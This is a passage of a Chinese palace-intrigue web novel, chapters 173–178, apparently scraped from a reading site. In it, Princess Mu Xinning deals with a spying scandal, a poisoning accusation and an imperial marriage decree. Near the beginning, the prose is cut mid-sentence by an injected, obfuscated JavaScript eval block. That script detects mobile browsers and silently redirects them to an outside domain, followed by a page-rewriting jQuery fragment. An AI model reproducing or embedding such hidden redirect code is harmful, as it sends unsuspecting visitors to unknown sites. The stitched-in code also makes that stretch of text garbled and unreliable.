玄翎慢条斯理的整理衣衫,眼里闪过一抹幸灾乐祸,随即饶有兴致的也出了门。 此时,屋顶上来不及逃跑的赫连儒,还有什么不明白的。 见过卑鄙无耻的,实在是没见过慕馨宁这么卑鄙无耻的,今日真是开了眼了! 在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838267|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纳兰倾越上屋顶,将手里的剑架在赫连儒脖子上的时候,慕馨宁早就躲进了花丛里。 纳兰倾看清赫连儒那张脸之后,只愣了片刻,随即嘲弄的笑出声来:“哎呦,我当是谁呢,原来是二刈子。” 赫连儒原本道歉的话都到嘴边了,听见纳兰倾如此嘲讽,顿时也来了脾气:“你说谁是二刈子,当心本王割了你的舌头!” 纳兰倾嘁了一声:“皮肤白,娘娘腔,你不是二刈子谁是二刈子。” “纳兰倾你不要欺人太甚!” 纳兰倾手里的剑贴赫连儒的脖子更近了:“我就欺人太甚了,怎么样?” 再说,她也不算欺人太甚吧,毕竟是赫连儒先找死,偷看她的房事就算了,竟然还打扰她的好事! 赫连儒看着架在脖子上的那把剑,不但没有惧怕,反而冷笑一声:“你敢杀本王吗,这里是公主府,本王死在这里,慕馨宁和你的那个玄翎,都要给本王陪葬!” 纳兰倾面色一僵,即使人已经气的七窍生烟,却始终下不去手割了赫连儒的脖子。 因为赫连儒说的有道理。 难道这个哑巴亏,她就这么吃下了? “今日之事确实本王也有错,本王送你两个美男,算是补偿你,如何?” 纳兰倾收了剑,开口就问:“有玄翎威猛吗?” 赫连儒有些面红耳赤,真是不知道这纳兰倾怎么就一点脸都不要:“应该……尚可……” 纳兰倾目光多了两分怀疑:“不会是你用剩下的吧?” 赫连儒:“……” 花丛里的慕馨宁差点笑出声来,她连忙捂着嘴,好戏看的差不多了,她便猫着腰鬼鬼祟祟的往回走。 ‘砰’的一下,她的脑门狠狠地撞在一个人身上,慕馨宁吓了一跳,疼的差点叫出声来。 不过她反应迅速,在尖叫出声之前,连忙捂住了自己的嘴。 这她要是闹出动静,岂不是就露馅了。 “好看么?” 还没等看清来人是谁,熟悉且冰冷的声音已经从头顶传来。 慕馨宁有些面红耳赤的看着忽然出现的晏骁寒:“你说什么,我听不懂。” 晏骁寒负手而立眸子半眯,那张人神共愤的俊脸上带着冰碴:“听不懂?不如请赫连儒好好为你解释解释?” 第174章 找个地缝 慕馨宁感受到了晏骁寒眼里的寒意和杀气,她硬着头皮,厚着脸皮握住晏骁寒的手:“我错了,你别生气……” 晏骁寒冷哼一声,毫不留情的甩开慕馨宁的手,转身便拂袖而去。 每次这个女人做了错事都只会道歉,却从未改过自新,是不是他太纵容了,所以这女人才会一而再再而三的犯错? 看着晏骁寒越走越远,慕馨宁肠子都悔青了,这叫什么事。 晏骁寒这个时候回来,原本是要跟她和好的吧? 早知道这样,打死她,她也不能去偷窥纳兰倾跟玄翎。 她没精打采失魂落魄的回了房,双目无神的躺在床上,眼睛都不眨一下。 杜若和鸦羽看她这个样子,倒是想劝,可是你看看我我看看你,都不知该说什么才好。 即使慕馨宁心情很糟糕,无心睡眠,但是今日起早贪黑忙了一天,没多久,困意就席卷而来。 夜里,慕馨宁睡着睡着,就感觉眼前的光线好像忽明忽暗。 她渐渐从睡梦中清醒,一睁眼,发现玄翎竟然站在她床边, “大半夜的,你来我这里做什么?”慕馨宁纳闷的从床上坐起来。 玄翎直接坐在她床边,语气阴阳:“任务完成,我当然要跟你禀报一声。” 慕馨宁张了张嘴:“你说的,是跟纳兰倾?” 这算什么任务,玄翎不会以为她为了那五万两银子,真的愿意让他去伺候纳兰倾吧? 玄翎不答她的话,语气略带玩味:“怎么样,看着过瘾吗,要不然,我再给你和赫连儒演练一番?” 慕馨宁身子连忙往里挪了挪,尴尬的不行:“你别胡说,离我远点。” 看慕馨宁如此,玄翎也没再逗她,临走前开口:“今夜有雨,还是叫人把她的屋顶补上吧。” 慕馨宁张了张嘴,最后整个人埋进了被子里。 也不知道纳兰倾跟赫连儒是不是商量好的,第二天一早,两个人竟然是一起走的。 宫里传来的消息说,太后有意再寻一女子顶替宋菀菀嫁到北赫给赫连儒做太孙妃,却被赫连儒拒绝,两个人差点翻脸。 “想必赫连儒回北赫之后,边关的事情就能处理好,虞将军就能带兵回京吧。” 饭后,杜若一边收拾桌上的碗碟,一边开口。 慕馨宁正在修剪杜鹃的花枝,火红的杜鹃开的正艳,犹如女子娇媚的脸。 “未必,或许回来的是信武侯呢。” 慕馨宁放下手里的剪子,转头问一旁的杨嬷嬷:“最近信武侯府可有什么动静?” 杨嬷嬷:“信武侯夫人好像病的很严重,崔小姐说是给母亲祈福,所以去了观音寺礼佛。” 杜若嘁了一声:“她那种人去寺院,简直是玷污了寺院的清净。” 几个人正在说话,管家急匆匆从外头进来:“长公主,刑部来人了!” 慕馨宁皱眉:“怎么又是刑部,刑部是不是闲的,总来公主府做什么?” 这时,鸦羽从外头进来,面色严肃的上前,和慕馨宁耳语了几句。 片刻,慕馨宁出了房间,就见刑部侍郎带着人面色阴沉的正往这边走。 刑部侍郎行礼:“长公主,昨夜你的人去见了苟御史,不过半盏茶的时间,苟御史一家被人毒死在牢房,这件事还请您给刑部一个交代。” “本宫的人,有什么证据?” 刑部侍郎回头,便有一个官差上前:“昨夜那人拿了您的令牌,说您有几句话要跟苟御史一家交代,小的这才放那个人进去的。” 慕馨宁冷笑一声:“空口无凭,本宫的令牌一直在本宫身上,从未离开。” 刑部侍郎一脸为难:“长公主,这怎么算空口无凭,我们可是有证人。” 杜若不悦道:“证人,什么证人,找个人随意污蔑长公主,就算证人了?” 刑部侍郎叹了口气,无奈中又满是警告:“既然长公主不愿意配合调查,那这件事也只能请皇上做主了。” 刑部侍郎还没等打发走,贵公公就已经来了。 “长公主,皇上召见,您请吧。” 慕馨宁心头一沉,面色不显,换了一身衣服就出了府。 没等上马车,就见晏骁寒一身官服薄唇紧抿,冷着一张俊脸从远处而来。 原本以为他只是路过,没想到却打马到了慕馨宁跟前:“苟御史一家被毒死的事情,我已经着手调查,你不用担心。” 慕馨宁听了心里五味杂陈,毕竟昨夜又惹了晏骁寒不快,也不知他这到底是公事公办,还是为了她才出手。 可是她心里还有气没撒出来呢,于是故作担忧的问:“不会影响首辅大人和琉璃姑娘亲近吧?” 晏骁寒握紧手里的缰绳,骨节泛白,手背青筋暴起:“我已经让人将水琉璃送到了庄子上。” 慕馨宁不想理他,转身上了马车。 马车刚要走,晏骁寒一个翻身,直接从马背进了马车里。 慕馨宁看见他,语气嘲讽:“怎么,是因为琉璃小姐没把你伺候好,还是因为你玩儿够了,所以把人送走?” 晏骁寒刚坐在慕馨宁身边,听了这话眼神里似有寒光:“你觉得呢?” 慕馨宁挑眉,不知死活的道:“我觉得,或许是你不大行。” 晏骁寒有些咬牙切齿,强忍着一把将她脖子掐断的冲动:“我看你是欲求不满,所以才如此说吧。” 慕馨宁抬了抬下巴:“那又怎样。” 本以为晏骁寒会发火,没想到他不怒反笑:“所以昨夜,你才去偷窥人家房事?” 慕馨宁有些心虚,一时间没了话。 晏骁寒笑了一声,笑的有些渗人。 就在慕馨宁一脸不解的时候,他手里忽然多了一幅画:“瞧瞧,画的如何?” 慕馨宁打眼一瞧,恨不得找个地缝钻进去。 房里有一对男女衣衫不整动作激烈的正在床上办那种事,一个人影就趴在掀了瓦片的屋顶上,撅着屁股津津有味的往里瞧。 还有一个人抱着剑,一脸窘迫的站在一边。 这人画工虽然不怎么样,但是上头的人分别是谁,却令人一目了然。 而且,这人生怕别人不知道这一幕发生在哪里,还手欠的把她公主府门楼画的清清楚楚真真切切。 “你从哪弄的?” 慕馨宁想要一把将那副画夺过去撕的粉碎,却被晏骁寒轻易躲开。 晏骁寒黑着脸将那副画卷起来:“估计现在,满大街都是。” 慕馨宁差点一口气没上来,她的老脸怕是丢的一干二净了。 再说屋顶偷窥的明明是她跟赫连儒两个人,怎么就只画了她一个人?! 第175章 好大的脸 这么损的事情,除了赫连儒能做出来,还有谁? 怪不得赫连儒忽然跟纳兰倾一同离开了,原来是报复她之后,做贼心虚了! 慕馨宁恨的牙根痒痒。 “你就那么想要?”晏骁寒深邃的眸子盯着她素颜如雪的脸,疑惑的问。 慕馨宁皱眉,有种被调侃的感觉,但是她的脸皮可不是一般的的厚: “怎么,我又不想出家,男欢女爱不是很正常?” 晏骁寒点头:“言之有理。” 慕馨宁一时间,竟然没反应过来他这话是何意。 马车到了宫门口,慕馨宁下车的时候已经没了晏骁寒的身影,说是去查苟御史一家中毒身亡的事情了。 她到金銮殿的时候,正好撞见一人身穿囚服带着手铐脚铐被人从御书房带出来。 听周围人议论,慕馨宁才得知,这就是江州知府。 “南方赈灾银被贪污的案子,就算结了?” “江州知府不是已经认罪了,你没听见?” “那贪污的二十万两赈灾银呢?” “说是有一半挥霍了,一半被偷了。” 慕馨宁盯着江州知府的背影许久,就觉得他有些眼熟,可是又想不起来在哪遇见过。 二十万两赈灾银,一分没追回来,这件事肯定有蹊跷。 再说若是没有人指使,没有人给江州知府通风报信,他怎么会将事情做的那么顺利。 慕馨宁都要进御书房了,却见杜若三步一回头的往那江州知府的身上瞧。 慕馨宁随口问:“怎么了?” 杜若犹豫了一下:“就是感觉,这江州知府,很像一个人,但是奴婢又想不起来。” 慕馨宁:“……” 御书房里檀香袅袅,贵公公低眉顺目的站在一旁伺候,永平帝正在埋头处理奏折。 慕馨宁有些惊讶,永平帝召她入宫,不是质问她苟御史一家被毒死的事情么? 这怎么弹劾她的官员还没到场,永平帝手里的折子,还没丢到她脚边? “皇兄。”慕馨宁行礼。 “来了。”永平帝看了一眼慕馨宁,搁下手里的笔,然后对贵公公道:“赐座。” 永平帝态度如此,慕馨宁心里有点慌。 “之前各国使臣来东陵,你作为接待特使,做的不错,朕也没什么奖赏给你的。” 慕馨宁有些懵,永平帝赏给她的东西不是早就送到了公主府,还有青茀可以替她分忧。 虽然所谓的赏赐没什么分量,但是慕馨宁觉得永平帝可不是这么自觉的好人,竟然还会再给她补赏。 看慕馨宁一脸疑惑,永平帝喝了口茶,然后再道:“朕看你跟晏爱卿相处不错,所以打算给你们赐婚,婚期就定在来年三月,你看如何?” 慕馨宁心中不解,并没有多好开心:“这件事晏骁寒知晓吗?” 永平帝有些诧异,本以为慕馨宁知道这个消息定会高兴的忘乎所以,没想到竟然还能理智的问出这种话来。 “他,应该……知晓了吧。” “那他同意我们的婚事?” 永平帝古怪的点头:“你不想嫁给他?” 慕馨宁当即摇头:“那倒也不是,不过外头传言说是我死皮赖脸纠缠晏骁寒,所以才跟他有了婚约,若是我们成婚,外头还不一定会说什么呢。” 永平帝摩挲茶盏上的花纹,心里一阵腹诽,厚颜无耻的长公主,什么时候还在乎过外头的传言,今日这是怎么了? “说吧,你到底想怎么样?” 慕馨宁坐直身子,抬起下巴,直视永平帝:“那得让晏骁寒在所有人面前亲自承认,说他喜欢我,要娶我为妻,一生一世一双人。” 永平帝差点呕出一口血来,以前觉得慕馨宁还算有自知之明,今日怎么感觉这脸皮简直是比宫墙还要厚? 晏骁寒愿意娶她,她就应该烧高香,哪来那么多要求。 “你的意思,若是他不愿意按照你……的要求做,你就不嫁?” 慕馨宁点头:“当然。” 永平帝:“……” 所以慕馨宁到底喜不喜欢晏骁寒,难道一直以来都是在做戏? 这辈子,奸诈狡猾的,厚颜无耻的,狂妄自大的,自以为是的人,他见多了。 就是没见过慕馨宁这种一样不落都占全的。 “皇上,臣妾熬了乌鸡人参汤,特意给您补补身子……” 就在永平帝焦头烂额的时候,外头传来柳滟娇滴滴的声音。 慕馨宁起了一身的鸡皮疙瘩:“皇兄若是没什么事,臣妹先告退了。” 永平帝烦躁的朝着慕馨宁挥了一下手。 慕馨宁出门,跟柳滟擦肩而过,却没有要理会她的打算。 听说柳滟最近挺得盛宠,如今已经是美人了。 慕馨宁牙酸,这永平帝的眼神真是不怎么样,估计也没见过什么美人儿。 她忽然想到什么。 按照上一世的时间来算,这永平帝,应该要大选秀女了吧? “长公主。” 慕馨宁失神时,没想到柳滟忽然叫住她。 她顿住脚步,面色冷淡:“何事?” 柳滟上前,压低声音道:“臣妾能有如今的风光,那都是得了长公主的照拂,若是有一天臣妾能稳居后宫,定然不会忘了长公主的恩情。” 慕馨宁面色微沉,猜出柳滟肯定是有求于她,所以才会说出这种话来。 “你想说什么?” 柳滟有些局促的扯了扯帕子:“皇上一直未得龙子,听说文武百官建议皇上选秀,若是大批秀女入宫,这后宫怕是没有臣妾的一席之地了……” 慕馨宁不说话,目光如炬的盯着柳滟看。 柳滟被看的浑身发毛,只能直入主题:“长公主才情过人,只可惜臣妾只学了长公主的一点皮毛,若是长公主能再教导臣妾一二……” 之前在乐府,她跟慕馨宁学的那点子东西,在皇上跟前都用烂了,现在皇上看她的眼神都没了从前的温热,所以现在也只能来求慕馨宁了。 慕馨宁还有什么不明白的,她的脸色,从未有过的难看。 柳滟的话没说完,杜若直接打断:“一个小小美人,真是好大的脸,竟然让长公主为你出谋划策,你算什么东西?” 柳滟学会了主子教的歌舞,转头就去勾引永平帝,有了名分之后可半点都没提及她的恩情,估计暗中恩将仇报的事情也没少做。 这是感受到失宠的危机了,所以才想起主子的好来了,真是有意思。 柳滟面色一白,直接跪在慕馨宁面前:“长公主息怒,以前都是臣妾的错,日后臣妾定会为您效犬马之劳!” 第176章 好戏在后头 “用不着。” 慕馨宁丢给她这三个字就走远。 杜若慢了两步,临走前,还补了一句:“柳美人,好自为之吧。” 主仆二人走远,见周围没什么人,杜若才小声开口:“主子,皇上要选秀,我们是不是也要准备准备?” 慕馨宁看她:“你想入宫?” 杜若小脸通红,连忙道:“当然不是,但是后宫若是有我们的人为您效力,日后定然事半功倍。” 慕馨宁当然知道杜若这话说的有道理,可是帝王多疑,别看永平帝现在表面跟她和和气气,心里还不知多想要她的命。 她的人进了永平帝的后宫,不是算计报复,那就是利用拉拢,还是省了这个麻烦吧。 “长公主。” 慕馨宁没等出宫,人就被王福拦住了。 慕馨宁眼里闪过什么,连忙担忧的道:“是不是母后头风又犯了,我这就去探望母后!” 说着,她转身就要往景阳宫走。 王福忙道:“长公主莫急,太后娘娘最近身子骨好了一些,老奴来,是有别的事情要麻烦长公主。” 王福说着,将一张写着两个人名的字条递给慕馨宁,有些为难的道:“太后娘娘远房亲戚家的几个小姐,对皇上心生情愫,都要相思成疾了,早就求到了太后娘娘跟前。” “如今皇上大选,倒是一个机会,可也不能一下子都将那几个小姐都召进宫里来,明面上太后也只能举荐两个秀女入宫,但也不能厚此薄彼不是,所以这多出来的两个人,只能请长公主为太后分忧了。” 王福啰啰嗦嗦,说了一大堆。 慕馨宁都要被气笑了,太后一直惦记着永平帝的皇位,送给永平帝的女人,定然都是她的棋子、眼线,永平帝自然也会防着。 若是以她公主府的名头送过去,且不说永平帝会不会防着她,若是那些人毒害永平帝,到时候她公主府定然会吃不了兜着走。 可是慕馨宁并没有拒绝,她扫了名单上的两个人,开口道:“我当然愿意替母后分忧了,这点小事不足挂齿,不过她们要在公主府学规矩,这吃穿用度上也不能怠慢。” 王福躬身笑着附和:“那是,长公主说的对。” 他脸上带笑,心里却有些不好的预感。 就见慕馨宁一张脸上有了愁容:“但是母后也知道,我公主府所有家当都给了晏骁寒,招待各国使臣也没少花钱,如今还欠着外头的账呢,怕是会怠慢两位姑娘……” 王福了然,只能将怀里还没捂热乎的银票递给慕馨宁:“这是太后娘娘的一点心意,那两个小姐怠慢不怠慢倒是没什么,总不能让长公主为了这身外之物发愁,若是长公主觉得不够,奴才再想想办法……” 慕馨宁将那几张银票捻开,四张五千两,也算勉强。 “没关系,若是不够,本宫再想法子,定然不能让母后烦忧。” 慕馨宁说的好听,王福牙都要咬碎了,两万两白花花的银子,就这么没了…… 从宫里出来,杜若心事重重。 慕馨宁见她闷闷不乐,开口宽慰道:“没关系,我们不送美人进宫也好,省的麻烦。” 杜若别过头去,强忍着眼泪:“太后娘娘真过分,竟然还占用公主府的份额,您送她的人入宫,以后那两个人若是惹了什么麻烦,不还是都要赖在您的头上!” “别担心,我不会让她的人进皇兄的后宫的。” 杜若来了精神:“您有办法?” 慕馨宁笑笑:“好戏还在后头。” 马车晃晃悠悠的回到公主府,慕馨宁困的眼皮子都要睁不开了。 刘营却已经在门口等候许久,见慕馨宁从马车里出来,连忙上前:“殿下,您回来了,皇上可有为难您?” 慕馨宁动作一顿,才想起来苟御史的事情。 她也纳闷:“不是说有本宫害死苟御史一家的证据,可是御书房并没有弹劾我的官员,皇兄也没提这件事。” 刘营诧异:“那皇上召您进宫做什么?” 杜若将永平帝赐婚的事情说了,刘营心中惊愕,上台阶的时候脚步没跟上大脑,差点摔个跟头。 刘营抬头望天,今儿太阳也没打西边出来啊。 长公主又是给晏首辅下聘礼,又是写淫诗的,这皇上赐婚怎么还端起架子来了? “把公主府最破的一处院落收拾出来,过段时日,太后举荐的秀女进公主府。” 回了房间,慕馨宁屁股还没坐热乎,永平帝那边的贵公公又来了。 相比在御书房的低眉顺目,这次贵公公态度却很是傲慢:“长公主,刑部侍郎弹劾您指使下人毒死了苟御史一家人,皇上给您三天时间证明自己的清白,否则就要拿您试问了。” 慕馨宁这才反应过来,之前还纳闷永平帝召她进宫怎么不提此事,原来是因为这消息传进永平帝耳朵里慢了一步。 按理来说不应该,那么大的事情,永平帝不应该第一时间知晓么? 忽然想起今日莫名其妙的赐婚,慕馨宁嘴角上扬,大概猜到这是晏骁寒的手笔。 “有劳。”慕馨宁给了杜若一个眼神,杜若心不甘情不愿,还得撑起一张笑脸,将一个鼓鼓囊囊荷包塞进贵公公手里。 贵公公这傲慢的态度,才缓和了一些。 他躬身行礼:“那老奴就回宫复命了。” 送走了贵公公,杜若脸色很不好:“主子,瞧瞧他小人得志那个样子,又搭上那么多银子,奴婢就是将那银子丢到大街上打发叫花子,也不想给他!” 慕馨宁喝了口茶:“别急,等我腾出功夫,自然会给他送份大礼。” 晚饭吃的是厨房新研究出来的凉皮和冷面,方子当然是慕馨宁写的。 杜若吃的都快撑破肚子:“主子,这凉皮真好,清凉爽口,冷面也好吃,酸酸甜甜的,您之前还说要开酒楼,不知道什么时候才能开起来啊。” 就公主府这些个新奇的吃食,只要一经售卖,肯定会人满为患。 慕馨宁放下筷子,擦了擦嘴角道:“人手不够,太忙了,再说吧。” 杜若有些失落。 “殿下,现在外头都传言,说您之所以害死苟御史一家,是因为报复苟家人往公主府门口摆棺材让您难堪。”提起这事,刘营有些愤怒。 杨嬷嬷一边收拾碗筷,一边担忧的道:“到底是谁传出这样的流言,这岂不是对长公主很不利?” 第177章 搬起石头砸自己的脚 慕馨宁喝了口果汁,缓缓开口:“抓两个嚼舌根的人送到官府,接下来的事,就会顺理成章了。” 京城每天都有新的流言,这是再寻常不过的事情了,本以为慕馨宁臭名昭著,也不在意这些,没想到刘营却将嚼舌根的送到了官府。 本以为也不过是给那两个嚼舌根的一顿教训大不了打死算了,可是官府这么一审讯,两个人不打自招,说他们就是华尚书的嫡女华丽妍指使的。 再仔细一问,那两个人又交代,说华丽妍怂恿苟御史一家去公主府闹,又导致苟家人全部下狱,华丽妍生怕苟家人把她给供出来,所以就假借长公主的名头,让人毒死苟御史一家。 “这怎么可能,她一个姑娘家,怎么能用这么歹毒的手段!” “我听说啊,这苟御史之前可是华尚书的走狗,苟御史一家因罪下狱,估计是华尚书让人灭了口吧!” 就因为那两个送进衙门的嚼舌根之人,京城的流言又变了风向。 消息传到了朝堂上,便有不少官员弹劾华尚书。 华庭绅气的差点吐出一口老血来,回府之后,就狠狠地给了华丽妍两个耳光。 华庭绅夫妇的掌上明珠,忽然挨了两个巴掌,华丽妍顿时委屈的要死。 “爹,你为什么要打女儿!”华丽妍眼泪在眼眶里打转,一脸的委屈恼火。 华夫人刚要安慰华丽妍,还没等开口,就听华庭绅怒声道:“你一个尚未出阁的姑娘,竟然去跟苟御史一家胡言乱语,否则怎么会有今日之事!” 如今外头的流言愈演愈烈,皇上已经让晏骁寒彻查此事,拔出萝卜带出泥,就算人不是他毒死的,他怎么可能摘的干净! 华丽妍泪流满面:“女儿也是想替父亲分忧,苟御史以前毕竟是父亲得力的下属,他被慕馨宁害的惨死,那慕馨宁就应该受到惩罚!” 华尚书气的怒目圆瞪,狠狠的拍桌子:“你以为你是谁,别看慕馨宁她蛮横无理,但是也老奸巨猾,那苟御史是死在了御书房,皇上亲眼所见,他都没有治罪慕馨宁,你以为你的手段还比皇上厉害?” 华丽妍垂下头,现在也后悔了,她也没想到因为两个嚼舌根的狗东西,就害的他们一家又陷入的困境。 “那……那不行,求一求太后娘娘吧!”华夫人擦了擦眼角的泪,无奈的道。 一提起太后,华庭绅心里更堵得慌:“之前要不是太后怂恿,我能跟慕馨宁那个女人对上!我官降一级的时候,她连个面都不露,显然没有把我放在眼里!” 一提起这件事,华夫人更愁眉不展:“之前太后给易王送了个侧妃也就算了,她和易王竟然还想娶北赫公主坐平妻,确实是没把我们放在眼里!” 如今华庭绅又降至工部尚书,太后对他的器重,肯定更不如从前。 华丽妍什么也不说,只一个劲儿的低头抹眼泪,华尚书感觉头涨的都要裂开了。 “最近盯好了她,别让她出去给我惹事!” 要不是这个女儿不安分,老二也不可能轻易就被人害的丢了性命! 如果不是勤王给了他好处,他一定要让南阳郡主那个幕后真凶血债血偿! 真是见了鬼,一个个的都想算计慕馨宁,却都得不偿失,到底是他们太蠢,还是慕馨红太聪明? 华丽妍还是不甘心:“难道就任由慕馨宁她一直嚣张下去?” 她也想替易王和太后分忧,所以才会针对慕馨宁,况且要不是慕馨宁那个贱人,她的名声也不至于一日不如一日。 而且,太后说,易王身边多了个虞文茵,还是因为慕馨宁故意跟自己过不去,所以先送虞文茵去易王那边抢她的恩宠,她恨慕馨宁,恨的吃不香睡不好! 华尚书喝了口茶,砰的一下将茶盏砸在桌子上,华夫人和华丽妍顿时一个哆嗦。 “你少招惹她,若是你再做出什么出格的事情,别说家里能不能容得下你,你搞臭自己的名声,能不能嫁给易王做正妃,可就不一定了!” 华丽妍脸色一白,捂着嘴低头哭出声来。 华尚书气急败坏的离开,根本都没问一句毒死苟御史一家的事,是不是华丽妍动的手。 或许,他觉得华丽妍一个柔弱的女孩子家,断然做不出如此狠辣的事情,只是被慕馨宁给陷害了吧。 “娘,怎么办,官府不会真的查出是我动的手吧?” 华丽妍一脸惊恐的抓着华夫人的手,害怕的不行。 华夫人也是气不打一处来,她一把甩开华丽妍的手,恨铁不成钢:“你说说你,怎么就能做出这种事情来,你以前不是这个样子的!” 华丽妍哭丧着一张脸:“女儿也不想,女儿只想把他们一家给毒傻了,不能再攀扯父亲和女儿,到时候对外就说是受了刺激得了失心疯,谁成想下错了药……” 她知道人一下子被毒死了,顿时吓得魂儿都要丢了,连忙将这件事告诉了华夫人,华夫人只能想了一个陷害慕馨宁的法子。 只可惜她小瞧了慕馨宁,这一次怕是搬起石头砸自己的脚了! 入了秋,天气依旧闷热的厉害。 虽然在东陵,女子以瘦为美,但是在立秋这日,也要贴秋膘,寓意着滋补养身,强身健体。 太后举荐的那两个秀女来的时候,公主府上下所有人正围在一起‘贴秋膘’。 阴凉处设了长长的桌子,桌上摆着满满的好几大盆红烧肉、烧排骨、炖羊肉等,大家吃的满头大汗,狼吞虎咽。 两个打扮的花枝招展的秀女,嫌弃的躲的远远的。 “请问长公主可在?”郭秀容皮笑肉不笑的环顾眼前的一众下人,眼底尽是轻蔑。 管家放下手里的碗,伸长脖子问:“你们是谁,找长公主做什么?” 一旁的葛燕栖脸上顿时挂不住:“我们可是太后娘娘的人,长公主竟然如此怠慢,可有将太后放在眼里?” 郭秀荣脸色一变:“燕栖!” 葛燕栖连忙捂住嘴,这才发现自己说错了话。 第178章 算账 杨嬷嬷眼里闪过什么,这才放下碗筷,擦了擦嘴,笑着上前:“哎呦,原来是太后娘娘送过来的秀女,奴才们多有怠慢,还请二位姑娘莫怪!” 葛燕栖有些慌,想要否认:“不……不是……” 当初进京前,太后的人和家里千叮咛万嘱咐,不要暴露他们和太后的关系,可是她偏偏一进公主府就将这件事抖搂出来了,太后不会怪罪她吧? 杨嬷嬷客客气气的把人安排到了准备好的院落,二人看着破败的住处,脸色跟吃了死苍蝇还要难看。 杨嬷嬷却解释:“二位莫要嫌弃,咱们长公主跟皇上的关系可不大好,也就表面看着兄友妹恭而已,公主府若是把你们敬为座上宾,被皇上知道,等你们入宫皇上定会厌恶了你们。” “所以长公主就得做出不待见你们,被迫送你们入宫的样子,到时候皇上才能多给你们几分颜面,没准对你们会更加宠爱几分。” 二人对视一眼,觉得这话竟然有几分道理,所以也就忍了。 没想到住的地方环境差也就算了,偶尔还能冒出老鼠和蛇来,吃的也就比猪强一点而已。 没过多久,二人就一脸憔悴,精神恍惚了。 “长公主,苟御史一家被毒死的事情,结案了。” 慕馨宁正听着杜若绘声绘色的讲太后那两个秀女的遭遇,刘营面色复杂的从外头进来。 慕馨宁嘴角挂着笑:“怎么,不会是华庭绅随便推出去一个人,给华丽妍顶罪吧?” 刘营道:“不是华府,是一个四品官家的公子主动自首的,说是他与苟小姐定了亲事,苟家入狱之后,那公子想要退婚,却被苟家人拒绝,并且一顿嘲讽,所以一气之下才把人毒死的。” 慕馨宁呵呵两声:“那刑部不是说,给苟御史一家下毒之人是拿了本宫的令牌?” “这件事并未再被提及。” 估计那幕后之人也知道慕馨宁是个嚼不烂的不好招惹,所以才放弃了。 慕馨宁冷笑一声:“他们不提,那本宫自己就要提一提了。” 既然华丽妍有意陷害她,她怎么能就这么吃了这个哑巴亏呢,之前那些个烂账,总要好好算算。 苟御史一家被毒死的案子总算是结束了,华庭绅刚松了一口气,结果一看见慕馨宁之后,顿时又局促起来。 晏骁寒看见慕馨宁之后,也有些惊讶,随即又了然。 “长公主不会是来给晏首辅朗诵情诗的吧?” 胆大的官员看见慕馨宁又破天荒的出现在朝堂之上,顿时打趣起慕馨宁来。 有人又接话道:“不能吧,听说皇上要赐婚时长公主提了好几个条件,这首辅大人还没有所表示,她怎么会又跟首辅大人表白,这是不自降身价?” 晏骁寒长身玉立面色如常,掸了掸肩头细微的灰尘,仿佛并未听见别人的议论。 大理寺少卿孟大人清了清嗓子,也加入了长舌阵营:“能嫁给如此优秀的首辅大人,那可是上天眷顾,长公主怎么能如此不识好歹,估计是欲拒还迎,跟首辅大人拿乔呢。” 他声音不高不低,周围的人都听的清清楚楚,却又是一脸小心谨慎,像是说别人坏话做贼心虚的模样。 此话一出,众人看慕馨宁的目光,多了几分探究,几分玩味。 慕馨宁看了晏骁寒一眼,双手环胸,踱步到孟大人跟前,目光带着审视:“巴结晏骁寒啊,就敢让本宫难堪?” 孟大人顿时一脸尴尬,没想到竟然被慕馨宁给看穿了,但是看穿不说穿,长公主把事情说穿也就算了,怎么还让他下不来台? 孟大人顿时感觉颜面无存,话又不是他起的头,怎么这长公主不针对别人,偏偏针对他啊? 他擦了擦脑门的汗,还没想到如何应对,贵公公尖锐的声音响起:“皇上驾到……” 他这才松了一口气,觉得是躲过了一劫。 永平帝刚坐下。看见最前头的慕馨宁,一时间也是有些好奇:“长公主怎么来了?” 按道理来说,慕馨宁虽然是长公主,但到底还是一介女子,也没个正经的一官半职,没有入金銮殿早朝的资格,谁叫她脸皮厚呢。 慕馨宁行礼:“皇兄,之前苟御史一家在牢房被毒死的事情,皇兄给了臣妹三日时间证明自己的清白,如今三日已过,臣妹当然要来给皇兄一个交代。。” 华尚书手心冒冷汗,上前道:“长公主。这估计只是个误会,苟御史一家的案子,已经结了,跟您没什么关系。” 华庭绅难得替慕馨宁说话,众人还挺吃惊。 可是慕馨宁并未领情:“既然跟本宫没关系,那之前刑部侍郎要带本宫去刑部问话,就是污蔑本宫,本宫也得来讨个说法。” 一直在最角落里装鹌鹑,努力降低自己存在的刑部侍郎,顿时心慌不已,忐忑不安。 他想要解释一番,可是双脚跟灌了铅一样一动不动,嗓子也像是被石头堵住了一样。 永平帝的目光还是落在了他的身上:“刑部侍郎,你怎么说?” 刑部侍郎当然是跪下认罪,给慕馨宁道歉了。 可是慕馨宁并不打算就这样原谅他:“你一个小小侍郎,谁给你的胆子让你一次又一次的冒犯本宫?” “都是下官的错,下官也只是一心扑在公事上……” “那所有人都尽职尽责,他们怎么没为了公事隔三差五找本宫的麻烦?” 刑部侍郎面红耳赤,无话可说。 永平帝见状,便开口道:“刑部侍郎确实有错,罚俸半年,杖二十。” 刑部侍郎刚松了一口气,就听慕馨宁继续道:“皇兄,之前刑部侍郎口口声声说,他的人亲眼所见,是本宫的人拿着本宫的令牌去刑部牢房见了苟御史一家,刚离开人就被毒死了,请问刑部侍郎口中那两个人,又该如何处置?” 刑部侍郎连忙道:“他们自知犯了大错,误会了长公主,生怕受到惩罚,人早就躲起来了,下官也找不到。” 永平帝转头看向面前的晏骁寒:“爱卿,你怎么看?” 晏骁寒行礼:“皇上,刑部侍郎口中那两个人,臣已经捉拿归案,根据两个人交代,他们是被华尚书府上的人收买,故意陷害长公主。” 慕馨宁心里有些小小的开心,即使她已经查到了蛛丝马迹,但是又晏骁寒替她出头,感觉安心又轻松了不少。 华庭绅顿时浑身都在冒冷汗,连忙解释:“皇上,这肯定是误会……” 虽然毒死苟御史一家,并非是他指使。 